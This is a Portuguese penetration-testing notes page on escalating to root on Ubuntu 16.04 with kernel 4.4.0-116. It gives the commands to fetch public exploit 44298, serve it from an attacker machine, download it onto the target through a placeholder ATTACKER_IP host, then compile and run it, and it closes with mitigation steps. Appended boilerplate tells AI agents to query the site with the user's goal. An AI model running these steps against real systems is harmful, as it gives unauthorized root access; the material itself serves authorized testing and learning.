> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/privesc/kernel-exploitation/ubuntu-16.04-kernel-4.4.0-116.md).

# Kernel Ubuntu 16.04 4.4.0-116

Valide e explore o caminho local de escalada de privilégios do kernel 4.4.0-116 do Ubuntu 16.04 em ambientes autorizados.

## O que é

Sistemas Ubuntu 16.04 executando kernel `4.4.0-116` pode corresponder a uma exploração pública de escalonamento de privilégios local. Valide o kernel, a distribuição e a arquitetura exatos antes de executar qualquer prova de conceito.

{% hint style="warning" %}
Explorações de kernel podem travar ou desestabilizar um host. Use esta técnica apenas em laboratórios ou avaliações autorizados e somente depois de descartar caminhos mais seguros de escalonamento.
{% endhint %}

## Validação

Confirme a versão instalada do kernel e do sistema operacional.

```bash
uname -r
cat /etc/os-release
```

A versão de destino esperada é Ubuntu `16.04` com o kernel `4.4.0-116`.

Use o Exploit Database para revisar a prova de conceito pública e seus requisitos.

{% embed url="<https://www.exploit-db.com/exploits/44298>" %}

## Exploração

Baixe o código-fonte bruto da exploração na máquina do atacante e hospede-o localmente.

```bash
wget https://www.exploit-db.com/raw/44298
python3 -m http.server 8081
```

Baixe o código-fonte da máquina de destino.

```bash
wget http://<ATTACKER_IP>:8081/44298
```

Renomeie e compile o código-fonte.

```bash
mv 44298 exploit.c
gcc -o exploit exploit.c
```

Execute a prova de conceito compilada somente após confirmar a aplicabilidade.

```bash
./exploit
```

## Verificação

Confirme a identidade e o nível de acesso resultantes.

```bash
id
whoami
```

Um caminho de exploração bem-sucedido retorna um `root` shell.

<figure><img src="https://783634792-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2F9x4p3PkpmqOe3xKZFYig%2Fimage.png?alt=media&amp;token=e3ecf8e9-1e4a-4aef-94ea-bc88463d9a22" alt=""><figcaption></figcaption></figure>

## Mitigação

Aplique as atualizações de kernel suportadas pelo fornecedor. Remova kernels obsoletos e reinicie na versão corrigida. Restrinja o acesso local quando a correção não puder ser feita imediatamente.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/pt-br/privesc/kernel-exploitation/ubuntu-16.04-kernel-4.4.0-116.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
